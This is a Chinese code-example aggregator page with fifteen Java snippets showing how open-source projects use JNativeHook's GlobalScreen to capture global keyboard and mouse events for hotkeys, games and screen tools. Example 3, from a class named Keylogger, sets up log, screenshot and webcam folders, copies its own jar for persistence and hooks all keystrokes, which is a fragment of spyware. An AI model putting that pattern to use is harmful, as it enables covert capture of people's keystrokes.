當前位置: 首頁>>代碼示例>>Java>>正文


Java GlobalScreen類代碼示例

本文整理匯總了Java中org.jnativehook.GlobalScreen的典型用法代碼示例。如果您正苦於以下問題:Java GlobalScreen類的具體用法?Java GlobalScreen怎麽用?Java GlobalScreen使用的例子?那麽, 這裏精選的類代碼示例或許可以為您提供幫助。


GlobalScreen類屬於org.jnativehook包,在下文中一共展示了GlobalScreen類的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Java代碼示例。

示例1: setup

import org.jnativehook.GlobalScreen; //導入依賴的package包/類
@Override
public void setup() {
    // setup keyhook
    try {
        Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
        logger.setLevel(Level.OFF);
        GlobalScreen.registerNativeHook();
    } catch (NativeHookException ex) {
        System.err.println("There was a problem registering the native hook.");
        System.err.println(ex.getMessage());
        System.exit(1);
    }
    HKM = new KeyHook();
    HKM.addValidHotkey("Space");
    GlobalScreen.addNativeKeyListener(HKM);
    System.out.println("[KeyHook setup]");
    try {
        robot = new Robot();
    } catch (AWTException e) {
        System.out.println("Robot could not be created...");
    }
}
 
開發者ID:SlideKB,項目名稱:SlideBar,代碼行數:23,代碼來源:AdobePremiere.java

示例2: initializeGame

import org.jnativehook.GlobalScreen; //導入依賴的package包/類
private static void initializeGame() {

		AnsiConsole.systemInstall();
		
		try {
			GlobalScreen.registerNativeHook();
		} catch (NativeHookException ex) {
			System.err.println("There was a problem registering the native hook.");
			System.err.println(ex.getMessage());

			System.exit(1);
		}

		// registers a shutdown hook
		// this shutdown hook is called before the jvm is shutdown and releases the dependencies
		Runtime.getRuntime().addShutdownHook(new Thread() {
			@Override
			public void run() {
				GlobalScreen.unregisterNativeHook();
				System.out.println("unregister native hook");
				AnsiConsole.out.print(Ansi.ansi().eraseScreen(Erase.FORWARD));
				AnsiConsole.systemUninstall();
				System.out.println("uninstall ansi console");
				// network can be closed here
			}
		});
	}
 
開發者ID:manuelz120,項目名稱:tetris4j,代碼行數:28,代碼來源:Main.java

示例3: main

import org.jnativehook.GlobalScreen; //導入依賴的package包/類
public static void main(String[] args) throws IOException {
    detectOS();

    app_path = System.getenv(environment_variable_path) + folder;

    createFolder(app_path);
    createFolder(app_path + path_logs);
    createFolder(app_path + path_screenshot);
    createFolder(app_path + path_cam);

    if (persistence == true) {
        copyFile(Keylogger.class.getProtectionDomain().getCodeSource().getLocation().getPath(), app_path + name_jar);
    }

    try {
        GlobalScreen.registerNativeHook();
    } catch (NativeHookException ex) {
        java.util.logging.Logger.getLogger(Keylogger.class.getName()).log(Level.SEVERE, null, ex);
    }
    GlobalScreen.getInstance().addNativeKeyListener(new Keylogger());
}
 
開發者ID:tiagorlampert,項目名稱:sAINT,代碼行數:22,代碼來源:Keylogger.java

示例4: init

import org.jnativehook.GlobalScreen; //導入依賴的package包/類
public static void init() {
	try {
		// Get the logger for "org.jnativehook" and set the level
		Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
		logger.setLevel(loggingLevel);

		// disable the parent handlers
		logger.setUseParentHandlers(false);

		// Init JNativeHook
		GlobalScreen.registerNativeHook();
		GlobalScreen.addNativeKeyListener(new NativeKeyListener());

		Log.debug("JNativeHook initialized.");
	} catch (NativeHookException e) {
		e.printStackTrace();
	}
}
 
開發者ID:Bleuzen,項目名稱:Blizcord,代碼行數:19,代碼來源:NativeKeyListener.java

示例5: init

import org.jnativehook.GlobalScreen; //導入依賴的package包/類
@Override
public void init() {
    // Get the logger for "org.jnativehook" and set the level to off.
    Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
    logger.setLevel(Level.OFF);

    db = new DbHandler();
    db.onCreateDB();
    db.createTable();

    // Change the level for all handlers attached to the default logger.
    Handler[] handlers = Logger.getLogger("").getHandlers();
    for (int i = 0; i < handlers.length; i++) {
        handlers[i].setLevel(Level.OFF);
    }

    try {
        GlobalScreen.registerNativeHook();
    } catch (NativeHookException ex) {
        System.err.println("There was a problem while registering the native hook.");
        System.err.println(ex.getMessage());

        System.exit(1);
    }
    GlobalScreen.addNativeKeyListener(new Main());
}
 
開發者ID:maximova136,項目名稱:j-demo,代碼行數:27,代碼來源:Main.java

示例6: setup

import org.jnativehook.GlobalScreen; //導入依賴的package包/類
@Override
public void setup() {
    // setup keyhook
    try {
        Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
        logger.setLevel(Level.OFF);
        GlobalScreen.registerNativeHook();
    } catch (NativeHookException ex) {
        System.err.println("There was a problem registering the native hook.");
        System.err.println(ex.getMessage());
        System.exit(1);
    }
    kh = new KeyHook();
    GlobalScreen.addNativeKeyListener(kh);
    System.out.println("[KeyHook setup]");

    kh.addValidAlphaKey("Space");
    kh.addValidAlphaKey("Enter");
    kh.addValidAlphaKey("Backspace");
}
 
開發者ID:SlideKB,項目名稱:SlideBar,代碼行數:21,代碼來源:TypeWriter.java

示例7: setOnScrollListener

import org.jnativehook.GlobalScreen; //導入依賴的package包/類
/**
 * Enables handling of scroll and mouse wheel events for the node.
 * This type of events has a peculiarity on Windows. See the javadoc of notifyScrollEvents for more information.
 * @see #notifyScrollEvent
 * @param intersectionTestFunc a function that takes an event object and must return boolean
 * @return itself to let you use a chain of calls
 */
MouseEventNotificator setOnScrollListener(Function<NativeMouseWheelEvent, Boolean> intersectionTestFunc) {
    if (SystemUtils.IS_OS_WINDOWS) {
        if (!GlobalScreen.isNativeHookRegistered()) {
            try {
                GlobalScreen.registerNativeHook();
            } catch (NativeHookException | UnsatisfiedLinkError e) {
                e.printStackTrace();
                Main.log("Failed to initialize the native hooking. Rolling back to using JavaFX events...");
                sender.addEventFilter(ScrollEvent.SCROLL, this::notifyScrollEvent);
                return this;
            }
        }
        mouseWheelListener = event -> notifyScrollEvent(event, intersectionTestFunc);
        GlobalScreen.addNativeMouseWheelListener(mouseWheelListener);
    } else {
        sender.addEventFilter(ScrollEvent.SCROLL, this::notifyScrollEvent);
    }

    return this;
}
 
開發者ID:DeskChan,項目名稱:DeskChan,代碼行數:28,代碼來源:MouseEventNotificator.java

示例8: pressMultiKeyTest

import org.jnativehook.GlobalScreen; //導入依賴的package包/類
@Test
public void pressMultiKeyTest() throws AWTException, InterruptedException {
	MultiKeyListener mkl = new MultiKeyListener();
	GlobalScreen.addNativeKeyListener(mkl);
	Robot robot = new Robot();
	robot.keyPress(KeyEvent.VK_CONTROL);
	robot.keyPress(KeyEvent.VK_SPACE);

	Thread.sleep(300);

	Keys pressed = mkl.getPressed();
	assertEquals(pressed.getKeys().size(), 2);
	assertTrue(pressed.getKeys().contains(new Key((char)NativeKeyEvent.VC_CONTROL_L)));
	assertTrue(pressed.getKeys().contains(new Key((char) NativeKeyEvent.VC_SPACE)));

	robot.keyRelease(KeyEvent.VK_CONTROL);
	robot.keyRelease(KeyEvent.VK_SPACE);

	assertEquals(pressed.getKeys().size(), 0);
}
 
開發者ID:niwatolli3,項目名稱:NiwaLaunchee,代碼行數:21,代碼來源:MultiKeyListenerTest.java

示例9: main

import org.jnativehook.GlobalScreen; //導入依賴的package包/類
public static void main(String[] args) {
	// Get the logger for "org.jnativehook" and set the level to off.
	Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
	logger.setLevel(Level.OFF);

	// Change the level for all handlers attached to the default logger.
	Handler[] handlers = Logger.getLogger("").getHandlers();
	for (int i = 0; i < handlers.length; i++) {
		handlers[i].setLevel(Level.OFF);
	}

	GlobalKeyListener listener = new GlobalKeyListener();
	if (listener.startListening()) {
		GlobalScreen.addNativeKeyListener(listener);
	}
}
 
開發者ID:repeats,項目名稱:Repeat,代碼行數:17,代碼來源:GlobalKeyListener.java

示例10: changeDebugLevel

import org.jnativehook.GlobalScreen; //導入依賴的package包/類
protected void changeDebugLevel() {
	Level debugLevel = Level.WARNING;
	final JRadioButtonMenuItem[] buttons = {main.rbmiDebugSevere, main.rbmiDebugWarning, main.rbmiDebugInfo, main.rbmiDebugFine};

	for (int i = 0; i < DEBUG_LEVELS.length; i++) {
		if (buttons[i].isSelected()) {
			debugLevel = DEBUG_LEVELS[i];
			break;
		}
	}
	config.setNativeHookDebugLevel(debugLevel);

	// Get the logger for "org.jnativehook" and set the level to appropriate level.
	Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
	logger.setLevel(config.getNativeHookDebugLevel());
}
 
開發者ID:repeats,項目名稱:Repeat,代碼行數:17,代碼來源:MainBackEndHolder.java

示例11: addListeners

import org.jnativehook.GlobalScreen; //導入依賴的package包/類
@Override
public void addListeners()
{
    // Set the event dispatcher to a swing safe executor service.
    GlobalScreen.setEventDispatcher(new SwingDispatchService());
    try
    {
        GlobalScreen.registerNativeHook();
        GlobalScreen.addNativeKeyListener(this);
    }
    catch (NativeHookException ex)
    {
        System.err.println("Error starting KeyHandler:\n" + ex);
        System.err.println("Keyboard controls disabled");
    }
}
 
開發者ID:thatdude624,項目名稱:Spark-Reader,代碼行數:17,代碼來源:JNativeKeyHandler.java

示例12: init

import org.jnativehook.GlobalScreen; //導入依賴的package包/類
public static void init(Config config, IconManager iconManager, Processor processor) {
    setConfig(config);
    setIconManager(iconManager);
    setProcessor(processor);
    setupLogs();
    try {
        GlobalScreen.registerNativeHook();
    } catch (NativeHookException ex) {
        System.err.println("There was a problem registering the native hook.");
        System.err.println(ex.getMessage());

        System.exit(1);
    }

    Display.getDefault().asyncExec(new Runnable() {
        @Override
        public void run() {
            screenSelectorShell = new ScreenSelectorShell();
        }
    });

    GlobalScreen.addNativeKeyListener(new GlobalKeyListener());
}
 
開發者ID:kamil-karkus,項目名稱:EasySnap,代碼行數:24,代碼來源:GlobalKeyListener.java

示例13: getStartButton

import org.jnativehook.GlobalScreen; //導入依賴的package包/類
/**
 * 
 * @return 
 */
public Button getStartButton() {
    if (startButton == null) {
        startButton = GlyphsDude.createIconButton(FontAwesomeIcon.PLAY, "", "28", "0", ContentDisplay.CENTER);
        startButton.getStyleClass().addAll("toolbar-button-transparent", "start", "dropshadow-1-5");
        TooltipBuilder.create("Start Capture", startButton);
        startButton.setOnAction((ActionEvent event) -> {
            getStartButton().setDisable(true);
            getStopButton().setDisable(false);

            try {
                GlobalScreen.addNativeKeyListener(getPrintScreenListener());
                GlobalScreen.registerNativeHook();
            } catch (NativeHookException ex) {
                FxDialogs.showErrorDialog("There was a problem registering the native hook.");
                Logger.getLogger(Main.class.getName()).log(Level.SEVERE, "There was a problem registering the native hook.", ex);
            }

        });
    }
    return startButton;
}
 
開發者ID:Simego,項目名稱:FXImgurUploader,代碼行數:26,代碼來源:MainWindow.java

示例14: getStopButton

import org.jnativehook.GlobalScreen; //導入依賴的package包/類
/**
 * 
 * @return 
 */
public Button getStopButton() {
    if (stopButton == null) {
        stopButton = GlyphsDude.createIconButton(FontAwesomeIcon.STOP, "", "28", "0", ContentDisplay.CENTER);
        stopButton.getStyleClass().addAll("toolbar-button-transparent", "stop", "dropshadow-1-5");
        TooltipBuilder.create("Stop Capture", stopButton);
        stopButton.setDisable(true);
        stopButton.setOnAction((ActionEvent event) -> {
            getStopButton().setDisable(true);
            getStartButton().setDisable(false);

            try {
                GlobalScreen.removeNativeKeyListener(getPrintScreenListener());
                GlobalScreen.unregisterNativeHook();
            } catch (NativeHookException ex) {
                FxDialogs.showErrorDialog("There was a problem registering the native hook.");
                Logger.getLogger(Main.class.getName()).log(Level.SEVERE, "There was a problem registering the native hook.", ex);
            }
        });
    }
    return stopButton;
}
 
開發者ID:Simego,項目名稱:FXImgurUploader,代碼行數:26,代碼來源:MainWindow.java

示例15: initGlobalListeners

import org.jnativehook.GlobalScreen; //導入依賴的package包/類
private void initGlobalListeners() {
    // Initialze native hook.
    try {
        GlobalScreen.registerNativeHook();
    }
    catch (NativeHookException ex) {
        System.err.println("There was a problem registering the native hook.");
        System.err.println(ex.getMessage());
        ex.printStackTrace();
        System.exit(1);
    }
    detectKeys = new DetectKeys(this, keyLabel, shift, ctrl, alt, mouseLabel, mouseImages);
    GlobalScreen.addNativeKeyListener(detectKeys);
    GlobalScreen.addNativeMouseWheelListener(detectKeys);
    GlobalScreen.addNativeMouseListener(detectKeys);
}
 
開發者ID:CorpWar,項目名稱:keycast,代碼行數:17,代碼來源:Keycast.java


注:本文中的org.jnativehook.GlobalScreen類示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。